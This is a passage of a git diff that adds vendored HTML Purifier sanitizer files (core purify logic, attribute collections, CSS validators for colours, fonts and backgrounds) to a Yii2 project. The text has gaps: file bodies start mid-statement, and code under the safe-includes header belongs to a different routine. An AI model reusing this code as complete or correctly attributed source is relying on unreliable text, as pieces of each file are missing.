$context->register('Locale', $language); + + $error_collector = new HTMLPurifier_ErrorCollector($context); + $context->register('ErrorCollector', $error_collector); + } + + // setup id_accumulator context, necessary due to the fact that + // AttrValidator can be called from many places + $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); + $context->register('IDAccumulator', $id_accumulator); + + $html = HTMLPurifier_Encoder::convertToUTF8($html, $config, $context); + + // setup filters + $filter_flags = $config->getBatch('Filter'); + $custom_filters = $filter_flags['Custom']; + unset($filter_flags['Custom']); + $filters = array(); + foreach ($filter_flags as $filter => $flag) { + if (!$flag) { + continue; + } + if (strpos($filter, '.') !== false) { + continue; + } + $class = "HTMLPurifier_Filter_$filter"; + $filters[] = new $class; + } + foreach ($custom_filters as $filter) { + // maybe "HTMLPurifier_Filter_$filter", but be consistent with AutoFormat + $filters[] = $filter; + } + $filters = array_merge($filters, $this->filters); + // maybe prepare(), but later + + for ($i = 0, $filter_size = count($filters); $i < $filter_size; $i++) { + $html = $filters[$i]->preFilter($html, $config, $context); + } + + // purified HTML + $html = + $this->generator->generateFromTokens( + // list of tokens + $this->strategy->execute( + // list of un-purified tokens + $lexer->tokenizeHTML( + // un-purified HTML + $html, + $config, + $context + ), + $config, + $context + ) + ); + + for ($i = $filter_size - 1; $i >= 0; $i--) { + $html = $filters[$i]->postFilter($html, $config, $context); + } + + $html = HTMLPurifier_Encoder::convertFromUTF8($html, $config, $context); + $this->context =& $context; + return $html; + } + + /** + * Filters an array of HTML snippets + * + * @param string[] $array_of_html Array of html snippets + * @param HTMLPurifier_Config $config Optional config object for this operation. + * See HTMLPurifier::purify() for more details. + * + * @return string[] Array of purified HTML + */ + public function purifyArray($array_of_html, $config = null) + { + $context_array = array(); + foreach ($array_of_html as $key => $html) { + $array_of_html[$key] = $this->purify($html, $config); + $context_array[$key] = $this->context; + } + $this->context = $context_array; + return $array_of_html; + } + + /** + * Singleton for enforcing just one HTML Purifier in your system + * + * @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype + * HTMLPurifier instance to overload singleton with, + * or HTMLPurifier_Config instance to configure the + * generated version with. + * + * @return HTMLPurifier + */ + public static function instance($prototype = null) + { + if (!self::$instance || $prototype) { + if ($prototype instanceof HTMLPurifier) { + self::$instance = $prototype; + } elseif ($prototype) { + self::$instance = new HTMLPurifier($prototype); + } else { + self::$instance = new HTMLPurifier(); + } + } + return self::$instance; + } + + /** + * Singleton for enforcing just one HTML Purifier in your system + * + * @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype + * HTMLPurifier instance to overload singleton with, + * or HTMLPurifier_Config instance to configure the + * generated version with. + * + * @return HTMLPurifier + * @note Backwards compatibility, see instance() + */ + public static function getInstance($prototype = null) + { + return HTMLPurifier::instance($prototype); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php new file mode 100644 index 00000000..9dea6d1e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php @@ -0,0 +1,223 @@ +getHTMLDefinition(); + $parent = new HTMLPurifier_Token_Start($definition->info_parent); + $stack = array($parent->toNode()); + foreach ($tokens as $token) { + $token->skip = null; // [MUT] + $token->carryover = null; // [MUT] + if ($token instanceof HTMLPurifier_Token_End) { + $token->start = null; // [MUT] + $r = array_pop($stack); + assert($r->name === $token->name); + assert(empty($token->attr)); + $r->endCol = $token->col; + $r->endLine = $token->line; + $r->endArmor = $token->armor; + continue; + } + $node = $token->toNode(); + $stack[count($stack)-1]->children[] = $node; + if ($token instanceof HTMLPurifier_Token_Start) { + $stack[] = $node; + } + } + assert(count($stack) == 1); + return $stack[0]; + } + + public static function flatten($node, $config, $context) { + $level = 0; + $nodes = array($level => new HTMLPurifier_Queue(array($node))); + $closingTokens = array(); + $tokens = array(); + do { + while (!$nodes[$level]->isEmpty()) { + $node = $nodes[$level]->shift(); // FIFO + list($start, $end) = $node->toTokenPair(); + if ($level > 0) { + $tokens[] = $start; + } + if ($end !== NULL) { + $closingTokens[$level][] = $end; + } + if ($node instanceof HTMLPurifier_Node_Element) { + $level++; + $nodes[$level] = new HTMLPurifier_Queue(); + foreach ($node->children as $childNode) { + $nodes[$level]->push($childNode); + } + } + } + $level--; + if ($level && isset($closingTokens[$level])) { + while ($token = array_pop($closingTokens[$level])) { + $tokens[] = $token; + } + } + } while ($level > 0); + return $tokens; + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrCollections.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrCollections.php new file mode 100644 index 00000000..4f6c2e39 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrCollections.php @@ -0,0 +1,143 @@ +attr_collections as $coll_i => $coll) { + if (!isset($this->info[$coll_i])) { + $this->info[$coll_i] = array(); + } + foreach ($coll as $attr_i => $attr) { + if ($attr_i === 0 && isset($this->info[$coll_i][$attr_i])) { + // merge in includes + $this->info[$coll_i][$attr_i] = array_merge( + $this->info[$coll_i][$attr_i], + $attr + ); + continue; + } + $this->info[$coll_i][$attr_i] = $attr; + } + } + } + // perform internal expansions and inclusions + foreach ($this->info as $name => $attr) { + // merge attribute collections that include others + $this->performInclusions($this->info[$name]); + // replace string identifiers with actual attribute objects + $this->expandIdentifiers($this->info[$name], $attr_types); + } + } + + /** + * Takes a reference to an attribute associative array and performs + * all inclusions specified by the zero index. + * @param array &$attr Reference to attribute array + */ + public function performInclusions(&$attr) + { + if (!isset($attr[0])) { + return; + } + $merge = $attr[0]; + $seen = array(); // recursion guard + // loop through all the inclusions + for ($i = 0; isset($merge[$i]); $i++) { + if (isset($seen[$merge[$i]])) { + continue; + } + $seen[$merge[$i]] = true; + // foreach attribute of the inclusion, copy it over + if (!isset($this->info[$merge[$i]])) { + continue; + } + foreach ($this->info[$merge[$i]] as $key => $value) { + if (isset($attr[$key])) { + continue; + } // also catches more inclusions + $attr[$key] = $value; + } + if (isset($this->info[$merge[$i]][0])) { + // recursion + $merge = array_merge($merge, $this->info[$merge[$i]][0]); + } + } + unset($attr[0]); + } + + /** + * Expands all string identifiers in an attribute array by replacing + * them with the appropriate values inside HTMLPurifier_AttrTypes + * @param array &$attr Reference to attribute array + * @param HTMLPurifier_AttrTypes $attr_types HTMLPurifier_AttrTypes instance + */ + public function expandIdentifiers(&$attr, $attr_types) + { + // because foreach will process new elements we add, make sure we + // skip duplicates + $processed = array(); + + foreach ($attr as $def_i => $def) { + // skip inclusions + if ($def_i === 0) { + continue; + } + + if (isset($processed[$def_i])) { + continue; + } + + // determine whether or not attribute is required + if ($required = (strpos($def_i, '*') !== false)) { + // rename the definition + unset($attr[$def_i]); + $def_i = trim($def_i, '*'); + $attr[$def_i] = $def; + } + + $processed[$def_i] = true; + + // if we've already got a literal object, move on + if (is_object($def)) { + // preserve previous required + $attr[$def_i]->required = ($required || $attr[$def_i]->required); + continue; + } + + if ($def === false) { + unset($attr[$def_i]); + continue; + } + + if ($t = $attr_types->get($def)) { + $attr[$def_i] = $t; + $attr[$def_i]->required = $required; + } else { + unset($attr[$def_i]); + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef.php new file mode 100644 index 00000000..5ac06522 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef.php @@ -0,0 +1,138 @@ + by removing + * leading and trailing whitespace, ignoring line feeds, and replacing + * carriage returns and tabs with spaces. While most useful for HTML + * attributes specified as CDATA, it can also be applied to most CSS + * values. + * + * @note This method is not entirely standards compliant, as trim() removes + * more types of whitespace than specified in the spec. In practice, + * this is rarely a problem, as those extra characters usually have + * already been removed by HTMLPurifier_Encoder. + * + * @warning This processing is inconsistent with XML's whitespace handling + * as specified by section 3.3.3 and referenced XHTML 1.0 section + * 4.7. However, note that we are NOT necessarily + * parsing XML, thus, this behavior may still be correct. We + * assume that newlines have been normalized. + */ + public function parseCDATA($string) + { + $string = trim($string); + $string = str_replace(array("\n", "\t", "\r"), ' ', $string); + return $string; + } + + /** + * Factory method for creating this class from a string. + * @param string $string String construction info + * @return HTMLPurifier_AttrDef Created AttrDef object corresponding to $string + */ + public function make($string) + { + // default implementation, return a flyweight of this object. + // If $string has an effect on the returned object (i.e. you + // need to overload this method), it is best + // to clone or instantiate new copies. (Instantiation is safer.) + return $this; + } + + /** + * Removes spaces from rgb(0, 0, 0) so that shorthand CSS properties work + * properly. THIS IS A HACK! + * @param string $string a CSS colour definition + * @return string + */ + protected function mungeRgb($string) + { + return preg_replace('/rgb\((\d+)\s*,\s*(\d+)\s*,\s*(\d+)\)/', 'rgb(\1,\2,\3)', $string); + } + + /** + * Parses a possibly escaped CSS string and returns the "pure" + * version of it. + */ + protected function expandCSSEscape($string) + { + // flexibly parse it + $ret = ''; + for ($i = 0, $c = strlen($string); $i < $c; $i++) { + if ($string[$i] === '\\') { + $i++; + if ($i >= $c) { + $ret .= '\\'; + break; + } + if (ctype_xdigit($string[$i])) { + $code = $string[$i]; + for ($a = 1, $i++; $i < $c && $a < 6; $i++, $a++) { + if (!ctype_xdigit($string[$i])) { + break; + } + $code .= $string[$i]; + } + // We have to be extremely careful when adding + // new characters, to make sure we're not breaking + // the encoding. + $char = HTMLPurifier_Encoder::unichr(hexdec($code)); + if (HTMLPurifier_Encoder::cleanUTF8($char) === '') { + continue; + } + $ret .= $char; + if ($i < $c && trim($string[$i]) !== '') { + $i--; + } + continue; + } + if ($string[$i] === "\n") { + continue; + } + } + $ret .= $string[$i]; + } + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS.php new file mode 100644 index 00000000..02c1641f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS.php @@ -0,0 +1,106 @@ +parseCDATA($css); + + $definition = $config->getCSSDefinition(); + + // we're going to break the spec and explode by semicolons. + // This is because semicolon rarely appears in escaped form + // Doing this is generally flaky but fast + // IT MIGHT APPEAR IN URIs, see HTMLPurifier_AttrDef_CSSURI + // for details + + $declarations = explode(';', $css); + $propvalues = array(); + + /** + * Name of the current CSS property being validated. + */ + $property = false; + $context->register('CurrentCSSProperty', $property); + + foreach ($declarations as $declaration) { + if (!$declaration) { + continue; + } + if (!strpos($declaration, ':')) { + continue; + } + list($property, $value) = explode(':', $declaration, 2); + $property = trim($property); + $value = trim($value); + $ok = false; + do { + if (isset($definition->info[$property])) { + $ok = true; + break; + } + if (ctype_lower($property)) { + break; + } + $property = strtolower($property); + if (isset($definition->info[$property])) { + $ok = true; + break; + } + } while (0); + if (!$ok) { + continue; + } + // inefficient call, since the validator will do this again + if (strtolower(trim($value)) !== 'inherit') { + // inherit works for everything (but only on the base property) + $result = $definition->info[$property]->validate( + $value, + $config, + $context + ); + } else { + $result = 'inherit'; + } + if ($result === false) { + continue; + } + $propvalues[$property] = $result; + } + + $context->destroy('CurrentCSSProperty'); + + // procedure does not write the new CSS simultaneously, so it's + // slightly inefficient, but it's the only way of getting rid of + // duplicates. Perhaps config to optimize it, but not now. + + $new_declarations = ''; + foreach ($propvalues as $prop => $value) { + $new_declarations .= "$prop:$value;"; + } + + return $new_declarations ? $new_declarations : false; + + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php new file mode 100644 index 00000000..af2b83df --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php @@ -0,0 +1,34 @@ + 1.0) { + $result = '1'; + } + return $result; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php new file mode 100644 index 00000000..7f1ea3b0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php @@ -0,0 +1,111 @@ +getCSSDefinition(); + $this->info['background-color'] = $def->info['background-color']; + $this->info['background-image'] = $def->info['background-image']; + $this->info['background-repeat'] = $def->info['background-repeat']; + $this->info['background-attachment'] = $def->info['background-attachment']; + $this->info['background-position'] = $def->info['background-position']; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + // regular pre-processing + $string = $this->parseCDATA($string); + if ($string === '') { + return false; + } + + // munge rgb() decl if necessary + $string = $this->mungeRgb($string); + + // assumes URI doesn't have spaces in it + $bits = explode(' ', $string); // bits to process + + $caught = array(); + $caught['color'] = false; + $caught['image'] = false; + $caught['repeat'] = false; + $caught['attachment'] = false; + $caught['position'] = false; + + $i = 0; // number of catches + + foreach ($bits as $bit) { + if ($bit === '') { + continue; + } + foreach ($caught as $key => $status) { + if ($key != 'position') { + if ($status !== false) { + continue; + } + $r = $this->info['background-' . $key]->validate($bit, $config, $context); + } else { + $r = $bit; + } + if ($r === false) { + continue; + } + if ($key == 'position') { + if ($caught[$key] === false) { + $caught[$key] = ''; + } + $caught[$key] .= $r . ' '; + } else { + $caught[$key] = $r; + } + $i++; + break; + } + } + + if (!$i) { + return false; + } + if ($caught['position'] !== false) { + $caught['position'] = $this->info['background-position']-> + validate($caught['position'], $config, $context); + } + + $ret = array(); + foreach ($caught as $value) { + if ($value === false) { + continue; + } + $ret[] = $value; + } + + if (empty($ret)) { + return false; + } + return implode(' ', $ret); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php new file mode 100644 index 00000000..4580ef5a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php @@ -0,0 +1,157 @@ + | | left | center | right + ] + [ + | | top | center | bottom + ]? + ] | + [ // this signifies that the vertical and horizontal adjectives + // can be arbitrarily ordered, however, there can only be two, + // one of each, or none at all + [ + left | center | right + ] || + [ + top | center | bottom + ] + ] + top, left = 0% + center, (none) = 50% + bottom, right = 100% +*/ + +/* QuirksMode says: + keyword + length/percentage must be ordered correctly, as per W3C + + Internet Explorer and Opera, however, support arbitrary ordering. We + should fix it up. + + Minor issue though, not strictly necessary. +*/ + +// control freaks may appreciate the ability to convert these to +// percentages or something, but it's not necessary + +/** + * Validates the value of background-position. + */ +class HTMLPurifier_AttrDef_CSS_BackgroundPosition extends HTMLPurifier_AttrDef +{ + + /** + * @type HTMLPurifier_AttrDef_CSS_Length + */ + protected $length; + + /** + * @type HTMLPurifier_AttrDef_CSS_Percentage + */ + protected $percentage; + + public function __construct() + { + $this->length = new HTMLPurifier_AttrDef_CSS_Length(); + $this->percentage = new HTMLPurifier_AttrDef_CSS_Percentage(); + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->parseCDATA($string); + $bits = explode(' ', $string); + + $keywords = array(); + $keywords['h'] = false; // left, right + $keywords['v'] = false; // top, bottom + $keywords['ch'] = false; // center (first word) + $keywords['cv'] = false; // center (second word) + $measures = array(); + + $i = 0; + + $lookup = array( + 'top' => 'v', + 'bottom' => 'v', + 'left' => 'h', + 'right' => 'h', + 'center' => 'c' + ); + + foreach ($bits as $bit) { + if ($bit === '') { + continue; + } + + // test for keyword + $lbit = ctype_lower($bit) ? $bit : strtolower($bit); + if (isset($lookup[$lbit])) { + $status = $lookup[$lbit]; + if ($status == 'c') { + if ($i == 0) { + $status = 'ch'; + } else { + $status = 'cv'; + } + } + $keywords[$status] = $lbit; + $i++; + } + + // test for length + $r = $this->length->validate($bit, $config, $context); + if ($r !== false) { + $measures[] = $r; + $i++; + } + + // test for percentage + $r = $this->percentage->validate($bit, $config, $context); + if ($r !== false) { + $measures[] = $r; + $i++; + } + } + + if (!$i) { + return false; + } // no valid values were caught + + $ret = array(); + + // first keyword + if ($keywords['h']) { + $ret[] = $keywords['h']; + } elseif ($keywords['ch']) { + $ret[] = $keywords['ch']; + $keywords['cv'] = false; // prevent re-use: center = center center + } elseif (count($measures)) { + $ret[] = array_shift($measures); + } + + if ($keywords['v']) { + $ret[] = $keywords['v']; + } elseif ($keywords['cv']) { + $ret[] = $keywords['cv']; + } elseif (count($measures)) { + $ret[] = array_shift($measures); + } + + if (empty($ret)) { + return false; + } + return implode(' ', $ret); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php new file mode 100644 index 00000000..16243ba1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.php @@ -0,0 +1,56 @@ +getCSSDefinition(); + $this->info['border-width'] = $def->info['border-width']; + $this->info['border-style'] = $def->info['border-style']; + $this->info['border-top-color'] = $def->info['border-top-color']; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->parseCDATA($string); + $string = $this->mungeRgb($string); + $bits = explode(' ', $string); + $done = array(); // segments we've finished + $ret = ''; // return value + foreach ($bits as $bit) { + foreach ($this->info as $propname => $validator) { + if (isset($done[$propname])) { + continue; + } + $r = $validator->validate($bit, $config, $context); + if ($r !== false) { + $ret .= $r . ' '; + $done[$propname] = true; + break; + } + } + } + return rtrim($ret); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php new file mode 100644 index 00000000..16d2a6b9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.php @@ -0,0 +1,105 @@ +get('Core.ColorKeywords'); + } + + $color = trim($color); + if ($color === '') { + return false; + } + + $lower = strtolower($color); + if (isset($colors[$lower])) { + return $colors[$lower]; + } + + if (strpos($color, 'rgb(') !== false) { + // rgb literal handling + $length = strlen($color); + if (strpos($color, ')') !== $length - 1) { + return false; + } + $triad = substr($color, 4, $length - 4 - 1); + $parts = explode(',', $triad); + if (count($parts) !== 3) { + return false; + } + $type = false; // to ensure that they're all the same type + $new_parts = array(); + foreach ($parts as $part) { + $part = trim($part); + if ($part === '') { + return false; + } + $length = strlen($part); + if ($part[$length - 1] === '%') { + // handle percents + if (!$type) { + $type = 'percentage'; + } elseif ($type !== 'percentage') { + return false; + } + $num = (float)substr($part, 0, $length - 1); + if ($num < 0) { + $num = 0; + } + if ($num > 100) { + $num = 100; + } + $new_parts[] = "$num%"; + } else { + // handle integers + if (!$type) { + $type = 'integer'; + } elseif ($type !== 'integer') { + return false; + } + $num = (int)$part; + if ($num < 0) { + $num = 0; + } + if ($num > 255) { + $num = 255; + } + $new_parts[] = (string)$num; + } + } + $new_triad = implode(',', $new_parts); + $color = "rgb($new_triad)"; + } else { + // hexadecimal handling + if ($color[0] === '#') { + $hex = substr($color, 1); + } else { + $hex = $color; + $color = '#' . $color; + } + $length = strlen($hex); + if ($length !== 3 && $length !== 6) { + return false; + } + if (!ctype_xdigit($hex)) { + return false; + } + } + return $color; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php new file mode 100644 index 00000000..9c175055 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.php @@ -0,0 +1,48 @@ +defs = $defs; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + foreach ($this->defs as $i => $def) { + $result = $this->defs[$i]->validate($string, $config, $context); + if ($result !== false) { + return $result; + } + } + return false; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php new file mode 100644 index 00000000..9d77cc9a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php @@ -0,0 +1,44 @@ +def = $def; + $this->element = $element; + } + + /** + * Checks if CurrentToken is set and equal to $this->element + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $token = $context->get('CurrentToken', true); + if ($token && $token->name == $this->element) { + return false; + } + return $this->def->validate($string, $config, $context); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php new file mode 100644 index 00000000..bde4c330 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.php @@ -0,0 +1,77 @@ +intValidator = new HTMLPurifier_AttrDef_Integer(); + } + + /** + * @param string $value + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($value, $config, $context) + { + $value = $this->parseCDATA($value); + if ($value === 'none') { + return $value; + } + // if we looped this we could support multiple filters + $function_length = strcspn($value, '('); + $function = trim(substr($value, 0, $function_length)); + if ($function !== 'alpha' && + $function !== 'Alpha' && + $function !== 'progid:DXImageTransform.Microsoft.Alpha' + ) { + return false; + } + $cursor = $function_length + 1; + $parameters_length = strcspn($value, ')', $cursor); + $parameters = substr($value, $cursor, $parameters_length); + $params = explode(',', $parameters); + $ret_params = array(); + $lookup = array(); + foreach ($params as $param) { + list($key, $value) = explode('=', $param); + $key = trim($key); + $value = trim($value); + if (isset($lookup[$key])) { + continue; + } + if ($key !== 'opacity') { + continue; + } + $value = $this->intValidator->validate($value, $config, $context); + if ($value === false) { + continue; + } + $int = (int)$value; + if ($int > 100) { + $value = '100'; + } + if ($int < 0) { + $value = '0'; + } + $ret_params[] = "$key=$value"; + $lookup[$key] = true; + } + $ret_parameters = implode(',', $ret_params); + $ret_function = "$function($ret_parameters)"; + return $ret_function; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php new file mode 100644 index 00000000..579b97ef --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.php @@ -0,0 +1,176 @@ +getCSSDefinition(); + $this->info['font-style'] = $def->info['font-style']; + $this->info['font-variant'] = $def->info['font-variant']; + $this->info['font-weight'] = $def->info['font-weight']; + $this->info['font-size'] = $def->info['font-size']; + $this->info['line-height'] = $def->info['line-height']; + $this->info['font-family'] = $def->info['font-family']; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + static $system_fonts = array( + 'caption' => true, + 'icon' => true, + 'menu' => true, + 'message-box' => true, + 'small-caption' => true, + 'status-bar' => true + ); + + // regular pre-processing + $string = $this->parseCDATA($string); + if ($string === '') { + return false; + } + + // check if it's one of the keywords + $lowercase_string = strtolower($string); + if (isset($system_fonts[$lowercase_string])) { + return $lowercase_string; + } + + $bits = explode(' ', $string); // bits to process + $stage = 0; // this indicates what we're looking for + $caught = array(); // which stage 0 properties have we caught? + $stage_1 = array('font-style', 'font-variant', 'font-weight'); + $final = ''; // output + + for ($i = 0, $size = count($bits); $i < $size; $i++) { + if ($bits[$i] === '') { + continue; + } + switch ($stage) { + case 0: // attempting to catch font-style, font-variant or font-weight + foreach ($stage_1 as $validator_name) { + if (isset($caught[$validator_name])) { + continue; + } + $r = $this->info[$validator_name]->validate( + $bits[$i], + $config, + $context + ); + if ($r !== false) { + $final .= $r . ' '; + $caught[$validator_name] = true; + break; + } + } + // all three caught, continue on + if (count($caught) >= 3) { + $stage = 1; + } + if ($r !== false) { + break; + } + case 1: // attempting to catch font-size and perhaps line-height + $found_slash = false; + if (strpos($bits[$i], '/') !== false) { + list($font_size, $line_height) = + explode('/', $bits[$i]); + if ($line_height === '') { + // ooh, there's a space after the slash! + $line_height = false; + $found_slash = true; + } + } else { + $font_size = $bits[$i]; + $line_height = false; + } + $r = $this->info['font-size']->validate( + $font_size, + $config, + $context + ); + if ($r !== false) { + $final .= $r; + // attempt to catch line-height + if ($line_height === false) { + // we need to scroll forward + for ($j = $i + 1; $j < $size; $j++) { + if ($bits[$j] === '') { + continue; + } + if ($bits[$j] === '/') { + if ($found_slash) { + return false; + } else { + $found_slash = true; + continue; + } + } + $line_height = $bits[$j]; + break; + } + } else { + // slash already found + $found_slash = true; + $j = $i; + } + if ($found_slash) { + $i = $j; + $r = $this->info['line-height']->validate( + $line_height, + $config, + $context + ); + if ($r !== false) { + $final .= '/' . $r; + } + } + $final .= ' '; + $stage = 2; + break; + } + return false; + case 2: // attempting to catch font-family + $font_family = + implode(' ', array_slice($bits, $i, $size - $i)); + $r = $this->info['font-family']->validate( + $font_family, + $config, + $context + ); + if ($r !== false) { + $final .= $r . ' '; + // processing completed successfully + return rtrim($final); + } + return false; + } + } + return false; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php new file mode 100644 index 00000000..74e24c88 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.php @@ -0,0 +1,219 @@ +mask = '_- '; + for ($c = 'a'; $c <= 'z'; $c++) { + $this->mask .= $c; + } + for ($c = 'A'; $c <= 'Z'; $c++) { + $this->mask .= $c; + } + for ($c = '0'; $c <= '9'; $c++) { + $this->mask .= $c; + } // cast-y, but should be fine + // special bytes used by UTF-8 + for ($i = 0x80; $i <= 0xFF; $i++) { + // We don't bother excluding invalid bytes in this range, + // because the our restriction of well-formed UTF-8 will + // prevent these from ever occurring. + $this->mask .= chr($i); + } + + /* + PHP's internal strcspn implementation is + O(length of string * length of mask), making it inefficient + for large masks. However, it's still faster than + preg_match 8) + for (p = s1;;) { + spanp = s2; + do { + if (*spanp == c || p == s1_end) { + return p - s1; + } + } while (spanp++ < (s2_end - 1)); + c = *++p; + } + */ + // possible optimization: invert the mask. + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + static $generic_names = array( + 'serif' => true, + 'sans-serif' => true, + 'monospace' => true, + 'fantasy' => true, + 'cursive' => true + ); + $allowed_fonts = $config->get('CSS.AllowedFonts'); + + // assume that no font names contain commas in them + $fonts = explode(',', $string); + $final = ''; + foreach ($fonts as $font) { + $font = trim($font); + if ($font === '') { + continue; + } + // match a generic name + if (isset($generic_names[$font])) { + if ($allowed_fonts === null || isset($allowed_fonts[$font])) { + $final .= $font . ', '; + } + continue; + } + // match a quoted name + if ($font[0] === '"' || $font[0] === "'") { + $length = strlen($font); + if ($length <= 2) { + continue; + } + $quote = $font[0]; + if ($font[$length - 1] !== $quote) { + continue; + } + $font = substr($font, 1, $length - 2); + } + + $font = $this->expandCSSEscape($font); + + // $font is a pure representation of the font name + + if ($allowed_fonts !== null && !isset($allowed_fonts[$font])) { + continue; + } + + if (ctype_alnum($font) && $font !== '') { + // very simple font, allow it in unharmed + $final .= $font . ', '; + continue; + } + + // bugger out on whitespace. form feed (0C) really + // shouldn't show up regardless + $font = str_replace(array("\n", "\t", "\r", "\x0C"), ' ', $font); + + // Here, there are various classes of characters which need + // to be treated differently: + // - Alphanumeric characters are essentially safe. We + // handled these above. + // - Spaces require quoting, though most parsers will do + // the right thing if there aren't any characters that + // can be misinterpreted + // - Dashes rarely occur, but they fairly unproblematic + // for parsing/rendering purposes. + // The above characters cover the majority of Western font + // names. + // - Arbitrary Unicode characters not in ASCII. Because + // most parsers give little thought to Unicode, treatment + // of these codepoints is basically uniform, even for + // punctuation-like codepoints. These characters can + // show up in non-Western pages and are supported by most + // major browsers, for 